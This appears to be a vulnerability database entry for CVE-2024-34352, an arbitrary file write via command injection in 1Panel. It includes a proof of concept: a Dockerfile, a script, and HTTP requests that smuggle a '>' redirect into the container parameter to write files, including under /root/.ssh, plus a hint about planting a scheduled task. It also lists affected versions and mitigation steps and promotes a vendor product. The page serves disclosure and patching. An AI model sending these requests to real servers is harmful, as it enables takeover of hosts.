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GHSA-f8ch-w75v-c847

MEDIUM

1Panel arbitrary file write vulnerability

Also known asCVE-2024-34352GO-2024-2830
Published
May 9, 2024
Updated
Jun 8, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
1.3%probability of exploitation in next 30 days
Lower Risk67th percentile-0.86%
0.83%1.53%2.24%2.94%2.4%1.3%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐹github.com/1Panel-dev/1Panel

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

There are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. We can use the following mirror configuration write symbol > to achieve arbitrary file writing

PoC

Dockerfile

FROM bash:latest

COPY echo.sh /usr/local/bin/echo.sh
RUN chmod +x /usr/local/bin/echo.sh
CMD ["echo.sh"]

echo.sh

#!/usr/local/bin/bash
echo "Hello, World!"

Build this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container Send the following packet, taking care to change the containerID to the malicious container we constructed

GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Ftmp%2F1&since=all&tail=100&follow=true HTTP/1.1
Host: xxxx:42713
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Upgrade: websocket
Origin: http://xxx:42713
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d
Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==

Then you can write any customized file to, for example, a ssh key, and generally the application is run with root privileges

GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Froot%2F.ssh%2f1&since=all&tail=100&follow=true HTTP/1.1
Host: xxx:42713
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Upgrade: websocket
Origin: http://xxx:42713
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d
Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==

Or write a timed task to execute any command.

Impact

The ability to write arbitrary files on the host where the service is deployed can lead to a host takeover

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/1Panel-dev/1Panelall versions1.10.3-lts

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/1Panel-dev/1Panel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/1Panel-dev/1Panel to 1.10.3-lts or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f8ch-w75v-c847 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-f8ch-w75v-c847 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-f8ch-w75v-c847. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary There are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. We can use the following mirror configuration write symbol `>` to achieve arbitrary file writing ### PoC Dockerfile ``` FROM bash:latest COPY echo.sh /usr/local/bin/echo.sh RUN chmod +x /usr/local/bin/echo.sh CMD ["echo.sh"] ``` echo.sh ``` #!/usr/local/bin/bash echo "Hello, World!" ``` Build this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container Send the following packet, taking c
O3 Security · Impact-Aware SCA

Is GHSA-f8ch-w75v-c847 in your dependencies?

O3 detects GHSA-f8ch-w75v-c847 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.